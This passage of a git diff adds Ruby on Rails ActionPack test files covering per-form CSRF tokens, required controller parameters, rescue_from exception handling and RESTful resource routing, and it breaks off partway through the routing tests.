+      @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+      assert_nothing_raised do
+        send verb, :post_one, params: { custom_authenticity_token: form_token }
+      end
+    end
+  end
+
+  def test_accepts_global_csrf_token
+    get :index
+
+    token = @controller.send(:form_authenticity_token)
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: token }
+    end
+    assert_response :success
+  end
+
+  def test_ignores_params
+    get :index, params: { form_path: "/per_form_tokens/post_one?foo=bar" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    assert_matches_session_token_on_server form_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one?foo=baz"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token, baz: "foo" }
+    end
+    assert_response :success
+  end
+
+  def test_ignores_trailing_slash_during_generation
+    get :index, params: { form_path: "/per_form_tokens/post_one/" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  def test_ignores_origin_during_generation
+    get :index, params: { form_path: "https://example.com/per_form_tokens/post_one/" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  def test_ignores_trailing_slash_during_validation
+    get :index
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one/"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  def test_method_is_case_insensitive
+    get :index, params: { form_method: "POST" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one/"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  private
+    def assert_presence_and_fetch_form_csrf_token
+      assert_select 'input[name="custom_authenticity_token"]' do |input|
+        form_csrf_token = input.first["value"]
+        assert_not_nil form_csrf_token
+        return form_csrf_token
+      end
+    end
+
+    def assert_matches_session_token_on_server(form_token, method = "post")
+      actual = @controller.send(:unmask_token, Base64.strict_decode64(form_token))
+      expected = @controller.send(:per_form_csrf_token, session, "/per_form_tokens/post_one", method)
+      assert_equal expected, actual
+    end
+end
+
+class SkipProtectionControllerTest < ActionController::TestCase
+  def test_should_not_allow_post_without_token_when_not_skipping
+    @controller.skip_requested = false
+    assert_blocked { post :index }
+  end
+
+  def test_should_allow_post_without_token_when_skipping
+    @controller.skip_requested = true
+    assert_not_blocked { post :index }
+  end
+
+  def assert_blocked
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      yield
+    end
+  end
+
+  def assert_not_blocked
+    assert_nothing_raised { yield }
+    assert_response :success
+  end
+end
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
new file mode 100644
index 0000000000..4a83d07e7d
--- /dev/null
+++ b/actionpack/test/controller/required_params_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class BooksController < ActionController::Base
+  def create
+    params.require(:book).require(:name)
+    head :ok
+  end
+end
+
+class ActionControllerRequiredParamsTest < ActionController::TestCase
+  tests BooksController
+
+  test "missing required parameters will raise exception" do
+    assert_raise ActionController::ParameterMissing do
+      post :create, params: { magazine: { name: "Mjallo!" } }
+    end
+
+    assert_raise ActionController::ParameterMissing do
+      post :create, params: { book: { title: "Mjallo!" } }
+    end
+  end
+
+  test "required parameters that are present will not raise" do
+    post :create, params: { book: { name: "Mjallo!" } }
+    assert_response :ok
+  end
+
+  test "required parameters with false value will not raise" do
+    post :create, params: { book: { name: false } }
+    assert_response :ok
+  end
+end
+
+class ParametersRequireTest < ActiveSupport::TestCase
+  test "required parameters should accept and return false value" do
+    assert_equal(false, ActionController::Parameters.new(person: false).require(:person))
+  end
+
+  test "required parameters must not be nil" do
+    assert_raises(ActionController::ParameterMissing) do
+      ActionController::Parameters.new(person: nil).require(:person)
+    end
+  end
+
+  test "required parameters must not be empty" do
+    assert_raises(ActionController::ParameterMissing) do
+      ActionController::Parameters.new(person: {}).require(:person)
+    end
+  end
+
+  test "require array when all required params are present" do
+    safe_params = ActionController::Parameters.new(person: { first_name: "Gaurish", title: "Mjallo", city: "Barcelona" })
+      .require(:person)
+      .require([:first_name, :title])
+
+    assert_kind_of Array, safe_params
+    assert_equal ["Gaurish", "Mjallo"], safe_params
+  end
+
+  test "require array when a required param is missing" do
+    assert_raises(ActionController::ParameterMissing) do
+      ActionController::Parameters.new(person: { first_name: "Gaurish", title: nil })
+        .require(:person)
+        .require([:first_name, :title])
+    end
+  end
+
+  test "value params" do
+    params = ActionController::Parameters.new(foo: "bar", dog: "cinco")
+    assert_equal ["bar", "cinco"], params.values
+    assert params.has_value?("cinco")
+    assert params.value?("cinco")
+  end
+
+  test "to_param works like in a Hash" do
+    params = ActionController::Parameters.new(nested: { key: "value" }).permit!
+    assert_equal({ nested: { key: "value" } }.to_param, params.to_param)
+
+    params = { root: ActionController::Parameters.new(nested: { key: "value" }).permit! }
+    assert_equal({ root: { nested: { key: "value" } } }.to_param, params.to_param)
+
+    assert_raise(ActionController::UnfilteredParameters) do
+      ActionController::Parameters.new(nested: { key: "value" }).to_param
+    end
+  end
+
+  test "to_query works like in a Hash" do
+    params = ActionController::Parameters.new(nested: { key: "value" }).permit!
+    assert_equal({ nested: { key: "value" } }.to_query, params.to_query)
+
+    params = { root: ActionController::Parameters.new(nested: { key: "value" }).permit! }
+    assert_equal({ root: { nested: { key: "value" } } }.to_query, params.to_query)
+
+    assert_raise(ActionController::UnfilteredParameters) do
+      ActionController::Parameters.new(nested: { key: "value" }).to_query
+    end
+  end
+end
diff --git a/actionpack/test/controller/rescue_test.rb b/actionpack/test/controller/rescue_test.rb
new file mode 100644
index 0000000000..07f8c9dd8a
--- /dev/null
+++ b/actionpack/test/controller/rescue_test.rb
@@ -0,0 +1,364 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RescueController < ActionController::Base
+  class NotAuthorized < StandardError
+  end
+  class NotAuthorizedToRescueAsString < StandardError
+  end
+
+  class RecordInvalid < StandardError
+  end
+  class RecordInvalidToRescueAsString < StandardError
+  end
+
+  class NotAllowed < StandardError
+  end
+  class NotAllowedToRescueAsString < StandardError
+  end
+
+  class InvalidRequest < StandardError
+  end
+  class InvalidRequestToRescueAsString < StandardError
+  end
+
+  class BadGateway < StandardError
+  end
+  class BadGatewayToRescueAsString < StandardError
+  end
+
+  class ResourceUnavailable < StandardError
+  end
+  class ResourceUnavailableToRescueAsString < StandardError
+  end
+
+  # We use a fully-qualified name in some strings, and a relative constant
+  # name in some other to test correct handling of both cases.
+
+  rescue_from NotAuthorized, with: :deny_access
+  rescue_from "RescueController::NotAuthorizedToRescueAsString", with: :deny_access
+
+  rescue_from RecordInvalid, with: :show_errors
+  rescue_from "RescueController::RecordInvalidToRescueAsString", with: :show_errors
+
+  rescue_from NotAllowed, with: proc { head :forbidden }
+  rescue_from "RescueController::NotAllowedToRescueAsString", with: proc { head :forbidden }
+
+  rescue_from InvalidRequest, with: proc { |exception| render plain: exception.message }
+  rescue_from "InvalidRequestToRescueAsString", with: proc { |exception| render plain: exception.message }
+
+  rescue_from BadGateway do
+    head 502
+  end
+  rescue_from "BadGatewayToRescueAsString" do
+    head 502
+  end
+
+  rescue_from ResourceUnavailable do |exception|
+    render plain: exception.message
+  end
+  rescue_from "ResourceUnavailableToRescueAsString" do |exception|
+    render plain: exception.message
+  end
+
+  rescue_from ActionView::TemplateError do
+    render plain: "action_view templater error"
+  end
+
+  rescue_from IOError do
+    render plain: "io error"
+  end
+
+  before_action(only: :before_action_raises) { raise "umm nice" }
+
+  def before_action_raises
+  end
+
+  def raises
+    render plain: "already rendered"
+    raise "don't panic!"
+  end
+
+  def method_not_allowed
+    raise ActionController::MethodNotAllowed.new(:get, :head, :put)
+  end
+
+  def not_implemented
+    raise ActionController::NotImplemented.new(:get, :put)
+  end
+
+  def not_authorized
+    raise NotAuthorized
+  end
+  def not_authorized_raise_as_string
+    raise NotAuthorizedToRescueAsString
+  end
+
+  def not_allowed
+    raise NotAllowed
+  end
+  def not_allowed_raise_as_string
+    raise NotAllowedToRescueAsString
+  end
+
+  def invalid_request
+    raise InvalidRequest
+  end
+  def invalid_request_raise_as_string
+    raise InvalidRequestToRescueAsString
+  end
+
+  def record_invalid
+    raise RecordInvalid
+  end
+  def record_invalid_raise_as_string
+    raise RecordInvalidToRescueAsString
+  end
+
+  def bad_gateway
+    raise BadGateway
+  end
+  def bad_gateway_raise_as_string
+    raise BadGatewayToRescueAsString
+  end
+
+  def resource_unavailable
+    raise ResourceUnavailable
+  end
+  def resource_unavailable_raise_as_string
+    raise ResourceUnavailableToRescueAsString
+  end
+
+  def missing_template
+  end
+
+  def exception_with_more_specific_handler_for_wrapper
+    raise RecordInvalid
+  rescue
+    raise NotAuthorized
+  end
+
+  def exception_with_more_specific_handler_for_cause
+    raise NotAuthorized
+  rescue
+    raise RecordInvalid
+  end
+
+  def exception_with_no_handler_for_wrapper
+    raise RecordInvalid
+  rescue
+    raise RangeError
+  end
+
+  private
+    def deny_access
+      head :forbidden
+    end
+
+    def show_errors(exception)
+      head :unprocessable_entity
+    end
+end
+
+class ExceptionInheritanceRescueController < ActionController::Base
+  class ParentException < StandardError
+  end
+
+  class ChildException < ParentException
+  end
+
+  class GrandchildException < ChildException
+  end
+
+  rescue_from ChildException,      with: lambda { head :ok }
+  rescue_from ParentException,     with: lambda { head :created }
+  rescue_from GrandchildException, with: lambda { head :no_content }
+
+  def raise_parent_exception
+    raise ParentException
+  end
+
+  def raise_child_exception
+    raise ChildException
+  end
+
+  def raise_grandchild_exception
+    raise GrandchildException
+  end
+end
+
+class ExceptionInheritanceRescueControllerTest < ActionController::TestCase
+  def test_bottom_first
+    get :raise_grandchild_exception
+    assert_response :no_content
+  end
+
+  def test_inheritance_works
+    get :raise_child_exception
+    assert_response :created
+  end
+end
+
+class ControllerInheritanceRescueController < ExceptionInheritanceRescueController
+  class FirstExceptionInChildController < StandardError
+  end
+
+  class SecondExceptionInChildController < StandardError
+  end
+
+  rescue_from FirstExceptionInChildController, "SecondExceptionInChildController", with: lambda { head :gone }
+
+  def raise_first_exception_in_child_controller
+    raise FirstExceptionInChildController
+  end
+
+  def raise_second_exception_in_child_controller
+    raise SecondExceptionInChildController
+  end
+end
+
+class ControllerInheritanceRescueControllerTest < ActionController::TestCase
+  def test_first_exception_in_child_controller
+    get :raise_first_exception_in_child_controller
+    assert_response :gone
+  end
+
+  def test_second_exception_in_child_controller
+    get :raise_second_exception_in_child_controller
+    assert_response :gone
+  end
+
+  def test_exception_in_parent_controller
+    get :raise_parent_exception
+    assert_response :created
+  end
+end
+
+class RescueControllerTest < ActionController::TestCase
+  def test_rescue_handler
+    get :not_authorized
+    assert_response :forbidden
+  end
+  def test_rescue_handler_string
+    get :not_authorized_raise_as_string
+    assert_response :forbidden
+  end
+
+  def test_rescue_handler_with_argument
+    assert_called_with @controller, :show_errors, [Exception] do
+      get :record_invalid
+    end
+  end
+  def test_rescue_handler_with_argument_as_string
+    assert_called_with @controller, :show_errors, [Exception] do
+      get :record_invalid_raise_as_string
+    end
+  end
+
+  def test_proc_rescue_handler
+    get :not_allowed
+    assert_response :forbidden
+  end
+  def test_proc_rescue_handler_as_string
+    get :not_allowed_raise_as_string
+    assert_response :forbidden
+  end
+
+  def test_proc_rescue_handle_with_argument
+    get :invalid_request
+    assert_equal "RescueController::InvalidRequest", @response.body
+  end
+  def test_proc_rescue_handle_with_argument_as_string
+    get :invalid_request_raise_as_string
+    assert_equal "RescueController::InvalidRequestToRescueAsString", @response.body
+  end
+
+  def test_block_rescue_handler
+    get :bad_gateway
+    assert_response 502
+  end
+  def test_block_rescue_handler_as_string
+    get :bad_gateway_raise_as_string
+    assert_response 502
+  end
+
+  def test_block_rescue_handler_with_argument
+    get :resource_unavailable
+    assert_equal "RescueController::ResourceUnavailable", @response.body
+  end
+  def test_block_rescue_handler_with_argument_as_string
+    get :resource_unavailable_raise_as_string
+    assert_equal "RescueController::ResourceUnavailableToRescueAsString", @response.body
+  end
+
+  test "rescue when wrapper has more specific handler than cause" do
+    get :exception_with_more_specific_handler_for_wrapper
+    assert_response :forbidden
+  end
+
+  test "rescue when cause has more specific handler than wrapper" do
+    get :exception_with_more_specific_handler_for_cause
+    assert_response :unprocessable_entity
+  end
+
+  test "rescue when cause has handler, but wrapper doesnt" do
+    get :exception_with_no_handler_for_wrapper
+    assert_response :unprocessable_entity
+  end
+end
+
+class RescueTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    class RecordInvalid < StandardError
+      def message
+        "invalid"
+      end
+    end
+    rescue_from RecordInvalid, with: :show_errors
+
+    def foo
+      render plain: "foo"
+    end
+
+    def invalid
+      raise RecordInvalid
+    end
+
+    def b00m
+      raise "b00m"
+    end
+
+    private
+      def show_errors(exception)
+        render plain: exception.message
+      end
+  end
+
+  test "normal request" do
+    with_test_routing do
+      get "/foo"
+      assert_equal "foo", response.body
+    end
+  end
+
+  test "rescue exceptions inside controller" do
+    with_test_routing do
+      get "/invalid"
+      assert_equal "invalid", response.body
+    end
+  end
+
+  private
+
+    def with_test_routing
+      with_routing do |set|
+        set.draw do
+          get "foo", to: ::RescueTest::TestController.action(:foo)
+          get "invalid", to: ::RescueTest::TestController.action(:invalid)
+          get "b00m", to: ::RescueTest::TestController.action(:b00m)
+        end
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
new file mode 100644
index 0000000000..871fba7e73
--- /dev/null
+++ b/actionpack/test/controller/resources_test.rb
@@ -0,0 +1,1369 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object/try"
+require "active_support/core_ext/object/with_options"
+require "active_support/core_ext/array/extract_options"
+
+class AdminController < ResourcesController; end
+class MessagesController < ResourcesController; end
+class ProductsController < ResourcesController; end
+class ThreadsController < ResourcesController; end
+
+module Backoffice
+  class ProductsController < ResourcesController; end
+  class ImagesController < ResourcesController; end
+
+  module Admin
+    class ProductsController < ResourcesController; end
+    class ImagesController < ResourcesController; end
+  end
+end
+
+class ResourcesTest < ActionController::TestCase
+  def test_default_restful_routes
+    with_restful_routing :messages do
+      assert_simply_restful_for :messages
+    end
+  end
+
+  def test_override_paths_for_member_and_collection_methods
+    collection_methods = { rss: :get, reorder: :post, csv: :post }
+    member_methods = { rss: :get, atom: :get, upload: :post, fix: :post }
+    path_names = { new: "nuevo", rss: "canal", fix: "corrigir" }
+
+    with_restful_routing :messages,
+        collection: collection_methods,
+        member: member_methods,
+        path_names: path_names do
+
+      assert_restful_routes_for :messages,
+          collection: collection_methods,
+          member: member_methods,
+          path_names: path_names do |options|
+        member_methods.each do |action, method|
+          assert_recognizes(options.merge(action: action.to_s, id: "1"),
+            path: "/messages/1/#{path_names[action] || action}",
+            method: method)
+        end
+
+        collection_methods.each do |action, method|
+          assert_recognizes(options.merge(action: action.to_s),
+            path: "/messages/#{path_names[action] || action}",
+            method: method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages,
+          collection: collection_methods,
+          member: member_methods,
+          path_names: path_names do |options|
+
+        collection_methods.each_key do |action|
+          assert_named_route "/messages/#{path_names[action] || action}", "#{action}_messages_path", action: action
+        end
+
+        member_methods.each_key do |action|
+          assert_named_route "/messages/1/#{path_names[action] || action}", "#{action}_message_path", action: action, id: "1"
+        end
+
+      end
+    end
+  end
+
+  def test_multiple_default_restful_routes
+    with_restful_routing :messages, :comments do
+      assert_simply_restful_for :messages
+      assert_simply_restful_for :comments
+    end
+  end
+
+  def test_multiple_resources_with_options
+    expected_options = { controller: "threads", action: "index" }
+
+    with_restful_routing :messages, :comments, expected_options.slice(:controller) do
+      assert_recognizes(expected_options, path: "comments")
+      assert_recognizes(expected_options, path: "messages")
+    end
+  end
+
+  def test_with_custom_conditions
+    with_restful_routing :messages, conditions: { subdomain: "app" } do
+      assert @routes.recognize_path("/messages", method: :get, subdomain: "app")
+    end
+  end
+
+  def test_irregular_id_with_no_constraints_should_raise_error
+    expected_options = { controller: "messages", action: "show", id: "1.1.1" }
+
+    with_restful_routing :messages do
+      assert_raise(Assertion) do
+        assert_recognizes(expected_options, path: "messages/1.1.1", method: :get)
+      end
+    end
+  end
+
+  def test_irregular_id_with_constraints_should_pass
+    expected_options = { controller: "messages", action: "show", id: "1.1.1" }
+
+    with_restful_routing(:messages, constraints: { id: /[0-9]\.[0-9]\.[0-9]/ }) do
+      assert_recognizes(expected_options, path: "messages/1.1.1", method: :get)
+    end
+  end
+
+  def test_with_path_prefix_constraints
+    expected_options = { controller: "messages", action: "show", thread_id: "1.1.1", id: "1" }
+    with_restful_routing :messages, path_prefix: "/thread/:thread_id", constraints: { thread_id: /[0-9]\.[0-9]\.[0-9]/ } do
+      assert_recognizes(expected_options, path: "thread/1.1.1/messages/1", method: :get)
+    end
+  end
+
+  def test_irregular_id_constraints_should_get_passed_to_member_actions
+    expected_options = { controller: "messages", action: "custom", id: "1.1.1" }
+
+    with_restful_routing(:messages, member: { custom: :get }, constraints: { id: /[0-9]\.[0-9]\.[0-9]/ }) do
+      assert_recognizes(expected_options, path: "messages/1.1.1/custom", method: :get)
+    end
+  end
+
+  def test_with_path_prefix
+    with_restful_routing :messages, path_prefix: "/thread/:thread_id" do
+      assert_simply_restful_for :messages, path_prefix: "thread/5/", options: { thread_id: "5" }
+    end
+  end
+
+  def test_multiple_with_path_prefix
+    with_restful_routing :messages, :comments, path_prefix: "/thread/:thread_id" do
+      assert_simply_restful_for :messages, path_prefix: "thread/5/", options: { thread_id: "5" }
+      assert_simply_restful_for :comments, path_prefix: "thread/5/", options: { thread_id: "5" }
+    end
+  end
+
+  def test_with_name_prefix
+    with_restful_routing :messages, as: "post_messages" do
+      assert_simply_restful_for :messages, name_prefix: "post_"
+    end
+  end
+
+  def test_with_collection_actions
+    actions = { "a" => :get, "b" => :put, "c" => :post, "d" => :delete, "e" => :patch }
+
+    with_routing do |set|
+      set.draw do
+        resources :messages do
+          get    :a, on: :collection
+          put    :b, on: :collection
+          post   :c, on: :collection
+          delete :d, on: :collection
+          patch  :e, on: :collection
+        end
+      end
+
+      assert_restful_routes_for :messages do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(action: action), path: "/messages/#{action}", method: method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages do
+        actions.each_key do |action|
+          assert_named_route "/messages/#{action}", "#{action}_messages_path", action: action
+        end
+      end
+    end
+  end
+
+  def test_with_collection_actions_and_name_prefix
+    actions = { "a" => :get, "b" => :put, "c" => :post, "d" => :delete, "e" => :patch }
+
+    with_routing do |set|
+      set.draw do
+        scope "/threads/:thread_id" do
+          resources :messages, as: "thread_messages" do
+            get    :a, on: :collection
+            put    :b, on: :collection
+            post   :c, on: :collection
+            delete :d, on: :collection
+            patch  :e, on: :collection
+          end
+        end
+      end
+
+      assert_restful_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(action: action), path: "/threads/1/messages/#{action}", method: method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do
+        actions.each_key do |action|
+          assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", action: action
+        end
+      end
+    end
+  end
+
+  def test_with_collection_actions_and_name_prefix_and_member_action_with_same_name
+    actions = { "a" => :get }
+
+    with_routing do |set|
+      set.draw do
+        scope "/threads/:thread_id" do
+          resources :messages, as: "thread_messages" do
+            get :a, on: :collection
+            get :a, on: :member
+          end
+        end
+      end
+
+      assert_restful_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(action: action), path: "/threads/1/messages/#{action}", method: method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do
+        actions.each_key do |action|
+          assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", action: action
+        end
+      end
+    end
+  end
+
+  def test_with_collection_action_and_name_prefix_and_formatted
+    actions = { "a" => :get, "b" => :put, "c" => :post, "d" => :delete, "e" => :patch }
+
+    with_routing do |set|
+      set.draw do
+        scope "/threads/:thread_id" do
+          resources :messages, as: "thread_messages" do
+            get    :a, on: :collection
+            put    :b, on: :collection
+            post   :c, on: :collection
+            delete :d, on: :collection
+            patch  :e, on: :collection
+          end
+        end
+      end
+
+      assert_restful_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(action: action, format: "xml"), path: "/threads/1/messages/#{action}.xml", method: method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do
+        actions.each_key do |action|
+          assert_named_route "/threads/1/messages/#{action}.xml", "#{action}_thread_messages_path", action: action, format: "xml"
+        end
+      end
+    end
+  end
+
+  def test_with_member_action
+    [:patch, :put, :post].each do |method|
+      with_restful_routing :messages, member: { mark: method } do
+        mark_options = { action: "mark", id: "1" }
+        mark_path    = "/messages/1/mark"
+        assert_restful_routes_for :messages do |options|
+          assert_recognizes(options.merge(mark_options), path: mark_path, method: method)
+        end
+
+        assert_restful_named_routes_for :messages do
+          assert_named_route mark_path, :mark_message_path, mark_options
+        end
+      end
+    end
+  end
+
+  def test_with_member_action_and_requirement
+    expected_options = { controller: "messages", action: "mark", id: "1.1.1" }
+
+    with_restful_routing(:messages, constraints: { id: /[0-9]\.[0-9]\.[0-9]/ }, member: { mark: :get }) do
+      assert_recognizes(expected_options, path: "messages/1.1.1/mark", method: :get)
+    end
+  end
+
+  def test_member_when_override_paths_for_default_restful_actions_with
+    [:patch, :put, :post].each do |method|
+      with_restful_routing :messages, member: { mark: method }, path_names: { new: "nuevo" } do
+        mark_options = { action: "mark", id: "1", controller: "messages" }
+        mark_path    = "/messages/1/mark"
+
+        assert_restful_routes_for :messages, path_names: { new: "nuevo" } do |options|
+          assert_recognizes(options.merge(mark_options), path: mark_path, method: method)
+        end
+
+        assert_restful_named_routes_for :messages, path_names: { new: "nuevo" } do
+          assert_named_route mark_path, :mark_message_path, mark_options
+        end
+      end
+    end
+  end
+
+  def test_with_two_member_actions_with_same_method
+    [:patch, :put, :post].each do |method|
+      with_routing do |set|
+        set.draw do
+          resources :messages do
+            member do
+              match :mark  , via: method
+              match :unmark, via: method
+            end
+          end
+        end
+
+        %w(mark unmark).each do |action|
+          action_options = { action: action, id: "1" }
+          action_path    = "/messages/1/#{action}"
+          assert_restful_routes_for :messages do |options|
+            assert_recognizes(options.merge(action_options), path: action_path, method: method)
+          end
+
+          assert_restful_named_routes_for :messages do
+            assert_named_route action_path, "#{action}_message_path".to_sym, action_options
+          end
+        end
+      end
+    end
+  end
+
+  def test_array_as_collection_or_member_method_value
+    with_routing do |set|
+      set.draw do
+        resources :messages do
+          collection do
+            match :search, via: [:post, :get]
+          end
+
+          member do
+            match :toggle, via: [:post, :get]
+          end
+        end
+      end
+
+      assert_restful_routes_for :messages do |options|
+        [:get, :post].each do |method|
+          assert_recognizes(options.merge(action: "search"), path: "/messages/search", method: method)
+        end
+        [:get, :post].each do |method|
+          assert_recognizes(options.merge(action: "toggle", id: "1"), path: "/messages/1/toggle", method: method)
+        end
+      end
+    end
+  end
+
+  def test_with_new_action
+    with_routing do |set|
+      set.draw do
+        resources :messages do
+          post :preview, on: :new
+        end
+      end
+
+      preview_options = { action: "preview" }
+      preview_path    = "/messages/new/preview"
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(preview_options), path: preview_path, method: :post)
+      end
+
+      assert_restful_named_routes_for :messages do
+        assert_named_route preview_path, :preview_new_message_path, preview_options
+      end
+    end
+  end
+
+  def test_with_new_action_with_name_prefix
+    with_routing do |set|
+      set.draw do
+        scope("/threads/:thread_id") do
+          resources :messages, as: "thread_messages" do
+            post :preview, on: :new
+          end
+        end
+      end
+
+      preview_options = { action: "preview", thread_id: "1" }
+      preview_path    = "/threads/1/messages/new/preview"
+      assert_restful_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do |options|
+        assert_recognizes(options.merge(preview_options), path: preview_path, method: :post)
+      end
+
+      assert_restful_named_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do
+        assert_named_route preview_path, :preview_new_thread_message_path, preview_options
+      end
+    end
+  end
+
+  def test_with_formatted_new_action_with_name_prefix
+    with_routing do |set|
+      set.draw do
+        scope("/threads/:thread_id") do
+          resources :messages, as: "thread_messages" do
+            post :preview, on: :new
+          end
+        end
+      end
+
+      preview_options = { action: "preview", thread_id: "1", format: "xml" }
+      preview_path    = "/threads/1/messages/new/preview.xml"
+      assert_restful_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do |options|
+        assert_recognizes(options.merge(preview_options), path: preview_path, method: :post)
+      end
+
+      assert_restful_named_routes_for :messages, path_prefix: "threads/1/", name_prefix: "thread_", options: { thread_id: "1" } do
+        assert_named_route preview_path, :preview_new_thread_message_path, preview_options
+      end
+    end
+  end
+
+  def test_override_new_method
+    with_restful_routing :messages do
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(action: "new"), path: "/messages/new", method: :get)
+        assert_raise(ActionController::RoutingError) do
+          @routes.recognize_path("/messages/new", method: :post)
+        end
+      end
+    end
+
+    with_routing do |set|
+      set.draw do
+        resources :messages do
+          match :new, via: [:post, :get], on: :new
+        end
+      end
+
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(action: "new"), path: "/messages/new", method: :post)
+        assert_recognizes(options.merge(action: "new"), path: "/messages/new", method: :get)
+      end
+    end
+  end
+
+  def test_nested_restful_routes
+    with_routing do |set|
+      set.draw do
+        resources :threads do
+          resources :messages do
+            resources :comments
+          end
+        end
+      end
+
+      assert_simply_restful_for :threads
+      assert_simply_restful_for :messages,
+        name_prefix: "thread_",
+        path_prefix: "threads/1/",
+        options: { thread_id: "1" }
+      assert_simply_restful_for :comments,
+        name_prefix: "thread_message_",
+        path_prefix: "threads/1/messages/2/",
+        options: { thread_id: "1", message_id: "2" }
+    end
+  end
+
+  def test_shallow_nested_restful_routes
+    with_routing do |set|
+      set.draw do
+        resources :threads, shallow: true do
+          resources :messages do
+            resources :comments
+          end
+        end
+      end
+
+      assert_simply_restful_for :threads,
+        shallow: true
+      assert_simply_restful_for :messages,
+        name_prefix: "thread_",
+        path_prefix: "threads/1/",
+        shallow: true,
+        options: { thread_id: "1" }
+      assert_simply_restful_for :comments,
+        name_prefix: "message_",
+        path_prefix: "messages/2/",
+        shallow: true,
+        options: { message_id: "2" }
+    end
+  end
+
+  def test_shallow_nested_restful_routes_with_namespaces
+    with_routing do |set|
+      set.draw do
+        namespace :backoffice do
+          namespace :admin do
+            resources :products, shallow: true do
+              resources :images
+            end
+          end
+        end
+      end
+
+      assert_simply_restful_for :products,
+        controller: "backoffice/admin/products",
+        namespace: "backoffice/admin/",
+        name_prefix: "backoffice_admin_",
+        path_prefix: "backoffice/admin/",
+        shallow: true
+      assert_simply_restful_for :images,
+        controller: "backoffice/admin/images",
+        namespace: "backoffice/admin/",
+        name_prefix: "backoffice_admin_product_",
+        path_prefix: "backoffice/admin/products/1/",
+        shallow: true,
+        options: { product_id: "1" }
+    end
+  end
+
+  def test_restful_routes_dont_generate_duplicates
+    with_restful_routing :messages do
+      routes = @routes.routes
+      routes.each do |route|
+        routes.each do |r|
+          next if route == r # skip the comparison instance
+          assert_not_equal [route.conditions, route.path.spec.to_s, route.verb], [r.conditions, r.path.spec.to_s, r.verb]
+        end
+      end
+    end
+  end
+
+  def test_should_create_singleton_resource_routes
+    with_singleton_resources :account do
+      assert_singleton_restful_for :account
+    end
+  end
+
+  def test_should_create_multiple_singleton_resource_routes
+    with_singleton_resources :account, :product do
+      assert_singleton_restful_for :account
+      assert_singleton_restful_for :product
+    end
+  end
+
+  def test_should_create_nested_singleton_resource_routes
+    with_routing do |set|
+      set.draw do
+        resource :admin, controller: "admin" do
+          resource :account
+        end
+      end
+
+      assert_singleton_restful_for :admin, controller: "admin"
+      assert_singleton_restful_for :account, name_prefix: "admin_", path_prefix: "admin/"
+    end
+  end
+
+  def test_singleton_resource_with_member_action
+    [:patch, :put, :post].each do |method|
+      with_routing do |set|
+        set.draw do
+          resource :account do
+            match :reset, on: :member, via: method
+          end
+        end
+
+        reset_options = { action: "reset" }
+        reset_path    = "/account/reset"
+        assert_singleton_routes_for :account do |options|
+          assert_recognizes(options.merge(reset_options), path: reset_path, method: method)
+        end
+
+        assert_singleton_named_routes_for :account do
+          assert_named_route reset_path, :reset_account_path, reset_options
+        end
+      end
+    end
+  end
+
+  def test_singleton_resource_with_two_member_actions_with_same_method
